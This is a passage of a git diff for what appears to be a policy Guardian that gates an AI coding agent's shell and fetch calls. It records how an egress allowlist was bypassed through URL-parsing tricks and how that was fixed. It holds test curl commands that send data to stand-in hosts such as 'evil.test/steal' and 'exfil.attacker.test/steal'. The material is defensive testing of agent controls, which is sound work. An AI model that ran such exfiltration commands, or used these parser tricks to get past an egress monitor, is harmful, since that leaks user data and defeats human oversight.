'{"jsonrpc":"2.0","id":204,"method":"steps/toolCallRequest","params":{"acs_version":"0.1.0","request_id":"bb000004-0000-4000-8000-000000000004","timestamp":"2026-08-18T00:00:00Z","metadata":{"agent_id":"demo","session_id":"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"},"payload":{"tool":{"name":"Bash"},"arguments":{"command":{"value":"curl https://docs.anthropic.com\\@evil.test/steal"}},"raw_command":"curl https://docs.anthropic.com\\@evil.test/steal"}}}' | jq . +``` + +```json +{ + "jsonrpc": "2.0", + "id": 204, + "result": { + "type": "final", + "acs_version": "0.1.0", + "request_id": "bb000004-0000-4000-8000-000000000004", + "decision": "deny", + "reasoning": "This step was decided by AGT's stock policy bundle. Policy: egress_destination_not_allowed, from AGT's stock bundle (agt_stock). AGT reported: destination unresolved.invalid not in allowlist [\"*.anthropic.com\", \"docs.example.com\"].", + "reason_codes": [ + "egress_destination_not_allowed" + ], + "policy_references": [ + { + "policy_id": "agt_stock", + "rule_id": "egress_destination_not_allowed" + } + ] + } +} +``` + +**The deny message names `unresolved.invalid`, not a host, and that is a real loss of information.** +It is the price of not claiming to know which host the command reaches, and it is the message an +operator will see for every ambiguous input. The command itself is unchanged in the audit envelope — +the envelope sink writes both directions, so `raw_command` is recoverable from the log the setup +block names — and the module's own doc comment carries this explanation for whoever greps the +string. + +**This took four tries, and the three that failed are the reason it now refuses rather than +computes.** Recorded here rather than quietly corrected, because a normalisation that re-opens the +class it was written to close is worth a reader's time. + +- **First**, the URL was handed over as matched. That is the colon-bearing userinfo row: allowed. +- **Second**, a userinfo strip bounded at the first `/`. Right for a URL with a path; on a + path-less URL it read an `@` inside a query or fragment as the userinfo delimiter and discarded + everything before it, so `https://evil.test?x=a@docs.anthropic.com` became + `https://docs.anthropic.com` and was **allowed** — a shape that had denied before the strip + existed. Measured on a Guardian started from the commit that shipped it. +- **Third**, the same strip bounded at `/`, `?` and `#`. That fixed rows four and five and left + rows six and seven untouched, because the dotless-host shape is not about the bound at all — the + strip correctly declines to strip, and the *gate* is what mis-reads what it is handed. +- **Fourth**, `new URL(...).origin` — a real parse instead of a hand-rolled one, which closed all + seven rows above and opened the backslash row: the first answer this module ever gave that was + both **allowlisted** and wrong. The three before it under-informed the gate; this one misinformed + it. + +Four rounds, four shapes. What they have in common is not a missing delimiter — it is that each was +still trying to *compute* an answer that a pre-shell command line does not determine. So the module +stopped: it recognises the shapes nobody disagrees about, and refuses the rest. + +The table above is the re-capture from that build, and every shape in it is pinned by its own test. +Beyond those, the module's suite carries a **differential corpus**: eighteen adversarial command +lines pinned against the host `curl` itself resolves, regenerated by +`scripts/regenerate-curl-resolved-hosts.sh` through the same dead-proxy measurement shown above. The +rule it asserts is that the annotator answers curl's host or refuses — never a third host, and never +an allowlisted one. That is the guard the four rounds above did not have: each of them added cases +for the shape it was shown, and each missed the next. + +**Three effects worth stating because they are not straightforward denials.** A URL parse lowercases +the host, and the allowlist glob is case-sensitive — so `curl https://DOCS.ANTHROPIC.COM/x` **denies +on the fetch route and allows on the shell route**, visible as the one row of the table where the +shell route is the more permissive of the two. That is correct, since DNS is case-insensitive and +the request reaches the allowlisted host either way, but it is a widening and is recorded as one. +`curl https://EVIL.TEST/x` still denies, and so does `curl https://docs.anthropic.com.evil.test/x`. + +Second, **`https://docs.anthropic%2ecom/x` now denies on both routes, and `curl` resolves it to +`docs.anthropic.com`**, which the allowlist covers. A percent-escape is decoded inside a host by a +WHATWG parse and not by `host_of()`, so it is exactly the kind of disagreement the shell route +refuses to arbitrate — and refusing means denying. It is a genuine over-block, it belongs with the +`echo` over-block in the next subsection, and it is the direction this deployment chooses to fail +in. + +Third, the path, query and fragment are discarded before the gate sees them, which costs nothing +today — the gate consults only `host_of(dest)` — and would cost something only to a deployment that +pointed `cfg.egress.destination_paths` at a rule expecting a whole URL. This repository ships no +such path. + +The shell route's own denials also name the right host now, wherever it names a host at all, which +the earlier rounds did not. `https://docs.anthropic.com@exfil.attacker.test/steal` was denied before +this work too, but for the host `docs.anthropic.com@exfil.attacker.test` — right verdict, wrong +question, which is not the same as being decided about correctly. + +### Every shell command that *mentions* a URL is decided about, and this allowlist denies most of them + +The extractor takes the first absolute http(s) URL in the command line. It has no model of whether +the command *reaches* that URL — a URL in an `echo`, in a shell comment, or in a flag value the +command never dereferences looks exactly like a `curl` to it. The shipped allowlist has one +reachable entry, so in this deployment that reads as **deny any shell command mentioning a URL**: + +```bash +ACS=http://localhost:8801/acs +n=0 +while IFS= read -r c; do + n=$((n+1)) + d=$(jq -cn --arg c "$c" --arg r "f0000000-0000-4000-8000-00000000000$n" '{jsonrpc:"2.0",id:1,method:"steps/toolCallRequest",params:{ + acs_version:"0.1.0",request_id:$r,timestamp:"2026-08-18T00:00:00Z", + metadata:{agent_id:"demo",session_id:"5c9a4d21-7e83-4f06-9b1d-2a6c8e4f0d75"}, + payload:{tool:{name:"Bash"},arguments:{command:{value:$c}},raw_command:$c}}}' | + curl -s -X POST "$ACS" -H 'content-type: application/json' -d @- | + jq -r '.result.decision + " " + ((.result.reason_codes // []) | join(","))') + printf '%-52s -> %s\n' "$c" "$d" +done <<'COMMANDS' +git clone https://github.com/openai/whisper +pip install -i https://pypi.org/simple requests +echo 'docs at https://example.org/readme' +npm install +ls -la +COMMANDS +``` + +``` +git clone https://github.com/openai/whisper -> deny egress_destination_not_allowed +pip install -i https://pypi.org/simple requests -> deny egress_destination_not_allowed +echo 'docs at https://example.org/readme' -> deny egress_destination_not_allowed +npm install -> allow +ls -la -> allow +``` + +The third row is the one to look at twice: an `echo` reaches nothing, and it is denied by an egress +gate. This is the opposite direction from the miss above — over-blocking rather than +under-blocking — and it is a **live operational consequence**, not a hypothetical: the Quickstart +tells a reader to copy the widened `settings.json`, and this repository's own `.claude/settings.json` +already carries it. Turn this on and the `git clone` and `pip install -i` above stop, with a policy +reason attached, in an ordinary working session. + +`https://docs.anthropic%2ecom/x` from the previous subsection is a second over-block of the same +family and a narrower one: there the command *does* reach an allowlisted host, and it denies anyway +because the annotator will not adjudicate a percent-escape. Two different causes — a URL that is +mentioned rather than reached, and a URL that is reached but not vouched for — and the same +direction of failure. + +Neither obvious re-tuning is taken, and both refusals are deliberate. Widening the allowlist is not +available: it is what every capture in this file is measured against, and editing it would +invalidate them. Narrowing the extractor to tell *reaches* from *mentions* means parsing shell — +quoting, substitution, redirection, `&&` chains — and an extractor that gets that wrong in the +permissive direction is strictly worse here, because the gate's miss direction is already allow. +So the direction is stated and captured rather than tuned, and the README's install step says it +where an operator will read it before turning the hook on. + +Three more things this demo does not establish, stated for the same reason: + +- **A command reaching two hosts has its first examined and the rest unexamined.** The gate takes + one destination; the extractor takes the first match, not every match. +- **Widening the tool matcher governs the tools named in it and no others.** Claude Code dispatches + many more. Each is a `tools:` registration plus a `policy_target_argument` row plus a matcher + entry — additive, but not automatic. +- **A fetch's *output* is not governed at all.** Only the request gate's matcher widened. The + result gate stays scoped to the shell tool, deliberately: the hookmap declares one output path + per hook, a fetch result carries no `stdout`, and widening it would buy a fail-open on every + fetch result in exchange for nothing, since no stock gate reads a fetch's output. + +## 6. The pin + +A fourth gate class went live, and no `.rego` changed. + +```bash +bun run verify:pin +``` + +``` +$ bash scripts/verify-pin.sh +bun test v1.3.14 (0d9b296a) + + 5 pass + 0 fail + 37 expect() calls +Ran 5 tests across 1 file. [25.00ms] +``` + +Run three times from this tree. Everything above reproduces exactly except the bracketed elapsed +time, which is wall-clock: it read `29.00ms`, then the `25.00ms` above, then `24.00ms`. That is the +one field in this file a re-run is not expected to match. + +That is not a local assertion: `scripts/verify-pin.sh` shallow-clones AGT at the ref `agt.lock` +pins, points `UPSTREAM_BUNDLE` at the clone's own `policy/lib`, and re-runs the byte-identity test, +which self-skips without that variable. It needs network, and it refuses to run without `trash`. + +Everything this slice changed under `policy/`: + +```bash +git diff be5ab38..HEAD --stat -- policy/ +``` + +``` + policy/lib/data.json | 7 ++- + policy/manifest.drift.yaml | 33 ++++++++++++- + policy/manifest.yaml | 121 ++++++++++++++++++++++++++++++++++++++------- + 3 files changed, 141 insertions(+), 20 deletions(-) +``` + +Two manifests and one config document. Not one line of the twenty-two `.rego` files in +`policy/lib` — eleven rule modules and their eleven upstream test modules. + +## How to check these captures + +Every block above says it is real. This section is how a reader stops taking that on trust, and it +is deliberately a procedure rather than a number — a claim that "the blocks were verified" is worth +exactly as much as the reader's willingness to believe it. + +**1. Start the Guardian and re-run the ten `curl` commands.** The invocation is in *Setup common to +every section* above: `ACS_GUARDIAN_PORT=8791` with `ACS_ENVELOPE_LOG=.acs/v9-runbook.jsonl`. Each +`curl` in this file is complete and self-contained — fixed `request_id`s, fixed bodies, nothing +elided — so the responses are comparable field for field, not merely in shape. "Ten" counts the +numbered `curl` blocks of sections 1–5; the two §5 subsections captured in the final review rounds +contribute their own requests on top, through the two `bash` loops printed there and one further +`curl` block, and those loops carry fixed `request_id`s for the same reason. Those add **42** +distinct requests: 36 from the both-routes loop (18 URLs × 2 routes), 5 from the "mentions" loop, +and 1 from the full-deny block. + +**2. Then check them against the Guardian's own record, not against your terminal scrollback.** The +envelope sink writes one JSONL line per envelope crossing the wire, in **both** directions, before +validation, at the log path the setup block names. So the file holds the request you sent and the +response the Guardian sent back, as the Guardian saw them: + +```bash +jq -c 'select(.direction == "response") | .envelope' .acs/v9-runbook.jsonl | sort -u | jq . +``` + +`sort -u` is the point. Run the ten requests several times and the log grows, but the number of +*distinct* response envelopes must stay at ten — one per request — because every field that varies +run to run is fixed in the request bodies. Run the two §5 loops and the full-deny block as well and +the distinct count rises to their 42 and then stops rising, for the same reason and no other. +Measured on the port-8801 Guardian that produced those blocks: 42 distinct responses, and re-running +the loops did not move it. That is what makes the log a check on this file rather +than an echo of it: it is written by the Guardian process, from the port named on its own command +line, and it cannot contain a response some other process gave. + +Writing this file, six runs accumulated in that log — 120 lines, 60 request/response pairs, +**ten distinct response envelopes**, each byte-identical to a block above. `.acs/` is gitignored, so +your copy starts empty and fills as you run. + +**3. The blocks that are not wire traffic** each name the command that produced them, right where +they appear: `git diff be5ab38..HEAD` for the two `policy/` blocks, `opa eval` for the `host_of` +rows, the three-line `printf` block for the three-parser comparison — whose `curl` is pointed at a +dead local proxy, so re-running it sends nothing — `bun run verify:pin` for the pin, and — for the +policy-input block, the pre-slice `mapVerdict` comparison and the missing-`by_tool`-row deny — a +short script printed or described in full beside its output. + +**4. One field will not match, and only one:** `verify:pin`'s bracketed wall-clock time, which the +pin section already records varying across three runs. Everything else in this file is expected to +reproduce byte for byte, and a block that does not is a finding — about this file, or about the +tree it was captured from. + +## What this file is, and is not + +This file is the **evidence** — real runs against a Guardian started from commit `16a3ab0` for +§1–§4, and from `ca4aa2e` for §2's policy-input block and §5's last two subsections, pasted +verbatim. It does not declare this slice's scope, what it commits to, or what it leaves open; that +declaration lives in [`slices/v9/README.md`](../../slices/v9/README.md) and, authoritatively, in +[`docs/shaping/acs-reference-impl-slices.md`](../shaping/acs-reference-impl-slices.md) §V9. + +One thing the runbook does settle, because it would otherwise be assumed from the demo's shape: +**the two egress routes are a real distinction and not a cell of the conformance matrix.** That +matrix is 8 AGT intervention points × 5 AGT verdicts, both axes read off the pinned SDK's own +consts. There is no coordinate in it for a gate class and none for a route, and +`pre_tool_call × deny` already resolved `expressed` before this slice, from the patterns gate. So +the distinction is stated here and in §V9, where it is true, rather than encoded where it cannot +be held. + +## Verify + +```bash +bun test +bun run typecheck +bun run verify:pin # re-clones AGT and byte-diffs the pinned bundle -- needs network +bun run conformance +``` diff --git a/docs/shaping/acs-reference-impl-shaping.md b/docs/shaping/acs-reference-impl-shaping.md index 11eb4dc5..aad352b2 100644 --- a/docs/shaping/acs-reference-impl-shaping.md +++ b/docs/shaping/acs-reference-impl-shaping.md @@ -71,6 +71,9 @@ This qualifies **R1.3**: the four snapshot-borne members are constructible from | R1.7 | 🟡 Wire-delivery failure applies the negotiated `on_decision_failure` posture (ACS default `proceed`) with every fail-open proceed audited — never conflated with AGT's evaluation-layer fail-closed. Delivery means the Guardian stayed silent, the transport died, or an error arrived whose code carries no verdict and does not say the Guardian refused | Must-have | | R1.8 | 🟡 The three ACS mandatory fail-closed cases hold: malformed `modifications`, `DEFER` expiry, `ASK` expiry | Must-have | | R1.9 | 🟡 **Added by review after V3 shipped.** A refusal is not a delivery failure: an error whose code says the Guardian was alive and REFUSED the envelope (`-32700`, `-32010`, `-32011`, `-32020`) is a governance outcome and denies **regardless of posture**, still audited. Filing these under R1.7 meant the shipped default (`proceed`) turned the Guardian's own "no" into `allow`. An unrecognised error code stays a delivery failure and keeps the posture — deliberately, since widening this to every error object would fail closed on an error the Guardian never sent | Must-have | +| R1.10 | 🟡 Every AGT stock gate class is either reachable in this deployment or carries a named reason it is not | Must-have | +| R1.11 | 🟡 A tool whose arguments do not match the manifest's single `policy_target` is evaluated, not failed closed on a missing path — and a transform lands on **that tool's** argument, never on a literal that names another tool's | Must-have | +| R1.12 | 🟡 Egress is decided for the tool the threat actually uses, not only for the tool whose arguments happen to name a destination | Must-have | | **R2** | 🟡 **Interop is real, and stays real** | Must-have | | R2.1 | AGT's published policy library decides, used as shipped — driven only through `data.agt.defaults.config` | Must-have | | R2.2 | AGT's engine runs unforked, at a pinned upstream version | Must-have | @@ -97,7 +100,7 @@ This qualifies **R1.3**: the four snapshot-borne members are constructible from | R5.1 | Every hook firing is inspectable as an ACS envelope, not buried in library internals | Must-have | | R5.2 | An ACS-first reader can trace one action end to end without reading AGT source | Must-have | | R5.3 | Declares which ACS profiles it claims and which it does not | Must-have | -| R5.4 | Which `steps/*` hooks the implementation instruments | Undecided | +| R5.4 | 🟡 Which `steps/*` hooks the implementation instruments — `steps/toolCallRequest` and `steps/toolCallResult` through V8; `steps/skillLoad` added by V10 | **Decided** (V9/V10 planning) | | **R6** | **The stateless/stateful split holds** | Must-have | | R6.1 | AGT's engine stays stateless — complete policy input per decision | Must-have | | R6.2 | Session state (SessionContext, Intent, lineage) lives in the ACS Guardian layer | Must-have | @@ -109,7 +112,8 @@ This qualifies **R1.3**: the four snapshot-borne members are constructible from | **R8** | **Headroom is visible, but it is not the pitch** | Leaning yes | | R8.1 | 🟡 ACS provenance carries the IFC labels AGT's `result_labels` explicitly delegates to the host | Leaning yes | | R8.2 | Unconsumed hooks cost AGT nothing — an AGT-profile host ignores them cleanly | Must-have | -| R8.3 | Whether the demo runs an actual policy over an ACS-only hook, or just shows the surface exists | Undecided | +| R8.3 | 🟡 Whether the demo runs an actual policy over an ACS-only hook, or just shows the surface exists — **runs one.** V10 drives AGT's stock `content_hash` gate from `steps/skillLoad`, a hook no AGT host package has | **Decided** (V10 planning) | +| R8.4 | 🟡 A control ACS carries for a component class AGT's own hosts have no hook for is decided by AGT's unforked rule | Leaning yes | --- @@ -161,6 +165,11 @@ The runtime exists, but the artifact Microsoft reads is a machine-checked mappin | **C4** | Guardian service, session layer, and AGT bridge, as A2–A4 | | | **C5** | Published artifact = mapping table + coverage matrix; the running demo is the proof it holds | | | **C6** | Upstream contract watch: the same harness runs on a schedule against AGT `main`. A reported surface diff names the changed intervention point, verdict, or schema field | | +| **C7** | 🟡 **Reach AGT's stock `egress` gate.** Two routes, both built (V9) | | +| C7.1 | Govern a tool whose ACS `arguments` already name a destination. `assemblePreToolCallSnapshot` unwraps `arguments.url.value` to `tool_call.args.url`, which is `egress.rego`'s **first** default destination path — so this is one `data.json` key and one manifest `tools:` entry, with no code and no Rego | | +| C7.2 | Extract a destination from `raw_command` in a Guardian annotator, returning `{destination}` to `input.annotations.egress` — `egress.rego`'s **fifth** default path. Covers the shell tools C7.1 cannot, at the cost of a Guardian-originated value | | +| **C8** | 🟡 **Reach AGT's stock `content_hash` gate from `steps/skillLoad`** (V10). `tool_call.name` ← `skill_id`, `tool_call.content_hash` ← `digest.value`; the approved digest is declared on the manifest's tool entry, which AGT's `$defs/tool` permits (`additionalProperties: true`) and the SDK carries through to `input.tool` | | +| **C9** | 🟡 **One normalised `policy_target` leaf, declared once in `mapping.yaml` and read twice** (V9). AGT's `intervention_point` is `additionalProperties: false` with exactly one `policy_target`, so a second tool shape is otherwise denied on `runtime_error:path_missing`. The same entry names the argument a `transform` lands back on, replacing `into_argument`'s literal — one declaration, because two would disagree | | ⚠️ **C5 said "test matrix".** That was a third name for the 8 × 5 — U30's `CoverageMatrix`, which N47 `renderCoverageMatrix()` publishes — in the one commitment whose subject is which two artifacts get published. `slices/v7/README.md` commitment 2 freezes the three names apart: `Mapping` is S10's data, `MappingTable` is U32's rendering of it, `CoverageMatrix` is U30's measurements. C5 names the two published artifacts, so it uses the two published names (PR #16 review). @@ -191,13 +200,41 @@ Post-spike. All flags cleared, so the check now discriminates. - ⚠️ **R1.3 is qualified, discovered during V3 planning — and no verdict moves.** Four of AGT's five policy-input members come from the snapshot the Guardian assembles; `annotations` comes from a manifest-declared annotator instead, and the ACS v0.1.0 wire carries no field a drift or confidence score could be derived from (evidence under Verified ground). So "the AGT policy input's five members are constructible from an ACS envelope" is true of four and Guardian-originated for the fifth. This does not move R1 in any column: A and B assert expressibility and still do not prove it; C still proves it case by case, and the qualification becomes one more resolved cell in C2's matrix — `guardian_only`, the status V7 gives a cell the Guardian can resolve from process-local knowledge and a wire consumer cannot — which is the honest result C2 exists to produce. It is a note about ACS v0.1.0's coverage, not about AGT, so R4 is untouched. - ✅ **R3.8 confirms, discovered during V4 planning — and no verdict moves.** F1 is resolved: a capability AGT's own Claude Code package scopes out ("`PostToolUse` … cannot reliably redact tool output", README:39, under *Important parity gaps*) is reachable through the contract. R3 was already ✅ in all three columns on R3.1–R3.7, so this closes the one 🟡 beneath it without changing a cell. **R4 is untouched, and the reason matters:** the package's wording is "cannot **reliably**", and V4's evidence is what makes that wording exactly right — a replacement not matching the tool's own output schema is silently discarded and the original delivered. So the finding is that meeting the reliability condition is a contract-level job done once for every runtime, not a defect in a per-host module. That is R4.3's framing holding under the one requirement most able to break it. - ⚠️ **R1.4 is qualified, discovered during V7 planning — and no verdict moves.** Two facts, both measured against the pinned SDK rather than read from AGT's docs. First: `enforced_identity` is the SHA-256 of the key-sorted, whitespace-free JSON of the policy input after **`policy_target.value` alone** is replaced by the transform — the snapshot's own copy of that leaf is not updated, so AGT's identity binds to the policy target it rewrote, not to the document the host will execute. Second: **ACS v0.1.0 carries no action-identity field on any of its 43 schemas** (`identity` occurs twice in the whole spec directory, as `session-start.json`'s `user_identity` and as prose in `skill-register.json`). So "survives the adapter" is true Guardian-side and untrue on the wire, and no slice can make it true without a v0.2 field. This does not move R1 in any column, for the same reason R1.3's qualification did not: A and B assert and do not prove; C proves case by case, and the qualification becomes a resolved cell in C2's matrix — `guardian_only`, in the vocabulary V7 published. That is the third finding to land on that shape, after R1.3's `annotations` and D10's Trace attributes, and the three together are what V7 publishes: **v0.1.0's response envelope carries a decision, and never has to carry the evidence for it.** A note about ACS v0.1.0's coverage, not about AGT, so R4 is untouched. ⚠️ *This sentence read "but not the evidence for it" until V7's execution measured D10 and found `AcsResult.metadata` already declares exactly `evaluator`, `evaluator_version`, `evaluation_duration_ms`, `model_id` and `confidence` — five members, all optional, under an optional `metadata`. ⚠️ Corrected again after the final review: that first correction over-generalised. **One of the three is optionality and two are absence** — D10's Trace attributes exist and are never required, while R1.3's `annotations` input and R1.4's identity have no field on the wire at all. The finding the three share is not one mechanism but one consequence: a wire consumer cannot rely on the evidence, twice because it is absent and once because it is optional. That is why the v0.2 ask is "require the ones already there, and add the ones that are not."* +- 🟡 **R1.9–R1.11 and R8.4 are added by V9/V10 planning — and no verdict moves.** All four are properties of the deployment C describes, measured in `spike-unreached-gates.md`: which AGT gate classes this bundle's configuration reaches, what a single `policy_target` does to a second tool shape, and whether an ACS-only hook can drive an unforked AGT rule. A and B would carry the same facts and still assert rather than prove them, which is what R1 has failed them on since the first check. C absorbs all four into C7–C9 and into cells of C2's matrix. The one that could have moved a verdict is **R1.10**, because it names a live fail-closed defect (a benign call denied on `runtime_error:path_missing`, and a redaction emitted against an argument the tool does not have) rather than a coverage note — but it is a defect of *this deployment's manifest and mapping*, reachable in every column, and C is the only shape whose harness would have caught it. R4 is untouched: nothing here is a fact about AGT. +- 🟡 **R1.11 is what splits C7 into two parts rather than one.** C7.1 is the stronger *claim* — the destination is constructible from the ACS envelope alone, so C2's matrix records the cell `expressed` — and it is measured working with zero code and zero Rego. But it only ever covers tools that happen to name a destination in their arguments, and shell egress (`curl`, `wget`, `git push`) is how exfiltration actually happens. C7.2 covers those, at the price of a Guardian-originated annotation, so its cell is `guardian_only` — the same status R1.3's `annotations` and R1.4's identity already carry. Building only one would mean either a claim with no threat behind it or a demo with a weaker claim than the wire supports, so C carries both and the matrix records them as two different colours of the same gate. - ⚠️ **A4's SDK choice is load-bearing for R1.4, discovered during V1 planning.** AGT's PyO3 binding surfaces only `action_identity`, collapsing `input_identity` and `enforced_identity`; the Node binding serializes both. Every shape embeds A4, so on the Python SDK R1.4 ("`enforced_identity` survives the adapter") would be unverifiable in *all three* columns and C's R1 ✅ would not survive contact with C2's harness. A4 is amended to the Node SDK and the verdicts stand as written. No other row moves. +## C7: Reaching the egress gate + +Both alternatives measured against the unforked bundle in +`spike-unreached-gates.md`. **Both are built** — the check below is what says +why neither alone is enough, not which one wins. + +| Req | Requirement | Status | C7.1 | C7.2 | +|-----|-------------|--------|------|------| +| R1.3 | The AGT policy input's five members are constructible from an ACS envelope | Must-have, qualified | ✅ | ❌ | +| R1.9 | Every AGT stock gate class is either reachable in this deployment or carries a named reason it is not | Must-have | ✅ | ✅ | +| R1.11 | Egress is decided for the tool the threat actually uses, not only for the tool whose arguments happen to name a destination | Must-have | ❌ | ✅ | +| R2.1 | AGT's published policy library decides, used as shipped — driven only through `data.agt.defaults.config` | Must-have | ✅ | ✅ | + +**Notes:** +- C7.1 fails R1.11: a `url` argument covers `WebFetch`, and nothing covers `curl https://exfil.test/x`. +- C7.2 fails R1.3: the destination reaches policy as an annotation, and annotations are Guardian-originated by AGT's own design. The measured verdicts are identical either way; only the *provenance* of the destination differs, which is exactly what R1.3 is about. + --- ## Spikes -All resolved — see `spike-agt-integration.md`. +All resolved — see `spike-agt-integration.md` and `spike-unreached-gates.md`. + +`spike-unreached-gates.md` (V9/V10 planning) answers eight questions about the +two AGT stock gates ACS already addresses. Its four load-bearing findings: +AGT's egress gate reads `snapshot.tool_call.args.url` first and the ACS wire +already lands there; the manifest's single `policy_target` denies any tool +without a `command` argument on `runtime_error:path_missing`; AGT's `$defs/tool` +is `additionalProperties: true` so a manifest may declare a `content_hash` the +SDK carries through to `input.tool`; and a manifest declaring an annotator the +Guardian dispatches nothing for denies **every** call, benign ones included. | # | Spike | Outcome | |---|-------|---------| @@ -269,12 +306,15 @@ All resolved — see `spike-agt-integration.md`. | N20 | P3 | guardian | `POST /acs` JSON-RPC 2.0 endpoint | call | → N21 | — | | N21 | P3 | guardian | `validateEnvelope()` against v0.1.0 schemas | call | → N22, → N27 | — | | N22 | P3 | guardian | `appendContextEntry()` — hash-chained SessionContext | call | → S3, → N23 | — | -| N23 | P3 | guardian | `assemblePreToolCallSnapshot()` / `assemblePostToolCallSnapshot()` — envelope + session state → AGT snapshot, one function per intervention point | call | → N30 | — | +| N23 | P3 | guardian | `assemblePreToolCallSnapshot()` / `assemblePostToolCallSnapshot()` — envelope + session state → AGT snapshot, one function per intervention point. 🟡 **V9 adds the normalised policy-target leaf** (from N54) and forwards `raw_command`, so one manifest `policy_target` serves every tool shape instead of denying all but one on `runtime_error:path_missing`. 🟡 **V10 adds `assembleSkillLoadSnapshot()`** as a third sibling: `tool_call.name` ← `skill_id`, `tool_call.content_hash` ← `digest.value` | call | → N30 | — | | N24 | P3 | guardian | `mapVerdict()` — AGT verdict **+ the resolved intervention point** → ACS decision; `warn` → `allow` + `policy_references`; `transform`'s `$policy_target` bound → the modification that point's own S10 row declares — `modifications.parameter_overrides` keyed by argument name at the request gate, `modifications.redactions` on the result payload's own path at the result gate (R1.6). A point S10 gives no synthesis rule cannot express a `transform` and throws, reaching the host as an honoured `deny` | call | → N25, → N26 | → N4, → N13 | | N25 | P3 | guardian | `persistIfcLabels()` — AGT `result_labels` into the `IfcLabels` field ACS provenance carries | call | → S5 | — | | N26 | P3 | guardian | `createEnvelopeLogSink()` → `sink.write()` — ⚠️ **total**: never throws, never alters a decision. Records the request *before* validation | call | → S6 | — | | N27 | P3 | guardian | `denyOnInvalidEnvelope()` — schema or bridge failure returns an explicit ACS `deny` **decision**, not a bare error, so the host honors it instead of falling back to posture | call | → N26 | → N4, → N13 | | N28 | P3 | guardian | `buildServerHello()` — ServerHello: `negotiated_version`, `methods_evaluated`, `selected_transport`, `timeout_config`, `on_decision_failure`. **`methods_evaluated` is the load-bearing one and V4 is what made it so**: it is exactly the set of methods this Guardian dispatches — both `steps/*` gates since V4 added the result one — and it is *checked against the dispatch* rather than trusted, because both directions are wrong and neither is cosmetic. A method declared here that no branch answers claims enforcement that does not exist; a method omitted tells a conformant client, in `handshake.json`'s own words, to treat that gate as ALLOW-by-default. `test/handshake-declares-what-it-evaluates.test.ts` derives the truth from a live Guardian. There is no `profiles_accepted` — this responder never shipped one | call | → N26 | → N5, → N14 | +| N54 | P3 | guardian | 🟡 `resolvePolicyTargetArgument(toolName, mapping, point)` — the argument name this tool's policy target is read from and written back to. **One declaration read twice**: N23 uses it to fill the normalised snapshot leaf, N24 uses it to name the `parameter_overrides` key, and a `transform` therefore lands on the argument the call actually carries. It replaces `mapping.yaml`'s `into_argument` literal, which named `command` for every tool and would emit a `WebFetch` redaction against an argument `WebFetch` does not have — measured, and the same reported-applied-but-delivered-original family as risk rows 15 and 17 | call | → N23, → N24 | — | +| N55 | P3 | guardian | 🟡 `annotateEgressDestination()` — the annotator dispatched for the manifest's `egress` entry; reads the step's `raw_command` and answers `{destination}`, which lands at `input.annotations.egress.destination`, `egress.rego`'s own fifth default path. Guardian-originated by AGT's design, exactly as the drift score is. **The Guardian must supply this dispatcher unconditionally**: a manifest declaring an annotator nothing dispatches denies every call with `runtime_error:annotation_failed`, benign ones included (measured) | call | → N30 | — | +| N56 | P3 | guardian | 🟡 `assembleSkillLoadSnapshot()` — a third sibling beside N23's two, for `steps/skillLoad`: `tool_call.name` ← `skill_id`, `tool_call.content_hash` ← `digest.value`. Sibling rather than a mode, on the rule N23's own header states — each intervention point has its own snapshot shape, and this one shares no member with either tool-call snapshot but `envelope.budgets` | call | → N30 | — | | N30 | P3.1 | agt-bridge | `evaluateInterventionPoint(point, snapshot)` — Node SDK | call | — | → N24 | | N31 | P3.1 | agt-bridge | `AgentControl.fromPath(manifest.yaml)` at boot | call | — | → N30 | | N40 | P5 | conformance | `conformance` runner (`bun run conformance`) — every other package in this repo is a bare noun, so a fifth spelled as a full title would be the only one | call | → N41, → N42, → N43, → N44, → N49 | — | @@ -299,6 +339,7 @@ All resolved — see `spike-agt-integration.md`. | S1 | P1 | `claude-code.hookmap.yaml` | Claude Code hook names ↔ ACS `steps/*`; ACS decisions ↔ `permissionDecision` / `updatedInput` / `updatedToolOutput` | | S2 | P2 | `opencode.hookmap.yaml` | OpenCode plugin hooks ↔ ACS `steps/*`; ACS decisions ↔ plugin return values | | S13 | P1 | `negotiated session config` | ServerHello result: `methods_evaluated`, `timeout_config`, `on_decision_failure`, startup posture. Stored whole — the store round-trips fields it does not name — while only the two this host reads are validated on the way in. **One interface, two implementations** (V3): file-backed at `.acs/sessions/.json` for subprocess hosts like Claude Code, in-memory for in-process hosts. A fresh hook process has to read the negotiated posture without asking the Guardian — that is the only situation the posture exists for. `session_id` is untrusted input on a filesystem path and is validated as one safe segment | +| S17 | P1 | 🟡 `.claude/settings.json` and `hosts/claude-code/settings.json` | The host's hook registration: which events fire the shim, and **which tools reach it at all** (`"matcher": "^Bash$"`). Found missing during V9 breadboarding, and its absence is why the one-tool limit survived eight slices — every affordance downstream assumes a governed call, and nothing in the breadboard said which calls those are. OpenCode has no counterpart: its plugin registers for every tool and scopes in S2's `tools:` list instead, which is why the same fact lives in two different kinds of place per host | | S14 | P1 | `audit sink` | Every fail-open proceed, per §6.4's MUST. JSONL at `.acs/audit.jsonl`. Total by construction, on N26's discipline: it runs on the decision path, so a sink that cannot write degrades observability and never a decision | | S15 | P2 | `negotiated session config` | Same interface as S13, in-memory implementation — an in-process plugin needs no file | | S16 | P2 | `audit sink` | Same shape as S14 | @@ -307,7 +348,7 @@ All resolved — see `spike-agt-integration.md`. | S5 | P3 | `provenance` | `origin` / `derived_from` lineage, plus an `IfcLabels` field carrying AGT's labels between steps | | S6 | P3 | `envelope log` | JSONL of every request and response as parsed, unmodified, at `.acs/envelopes.jsonl` (gitignored — carries raw tool arguments). Paired by JSON-RPC `id` | | S7 | P3.1 | `manifest.yaml` | Binds the `rego` policy to `data.agt.defaults.verdict`; declares intervention points, tools, approval | -| S8 | P3.1 | `data.agt.defaults.config` | Thresholds, allowlists, pattern lists — the only place policy behaviour is authored | +| S8 | P3.1 | `data.agt.defaults.config` | Thresholds, allowlists, pattern lists — the only place policy behaviour is authored. 🟡 V9 adds `egress`, V10 adds `content_hash.enforce`, taking the reached gate classes from three to five. ⚠️ **`egress` must carry an explicit `allowlist`**: with the key absent, `egress.rego` falls back to `input.tool.security_labels`, which is `["shell"]` on every tool this manifest registers, and every destination is then denied | | S9 | P3.1 | AGT stock bundle | `policy/lib/*.rego` at the pinned ref. Requires the `opa` CLI on PATH | | S12 | P5 | upstream AGT surfaces | Wire schemas and enums fetched from `main` | @@ -315,7 +356,7 @@ All resolved — see `spike-agt-integration.md`. | # | Store | Description | Read by | |---|-------|-------------|---------| -| S10 | `mapping.yaml` | The normative ACS ↔ MS-ACS 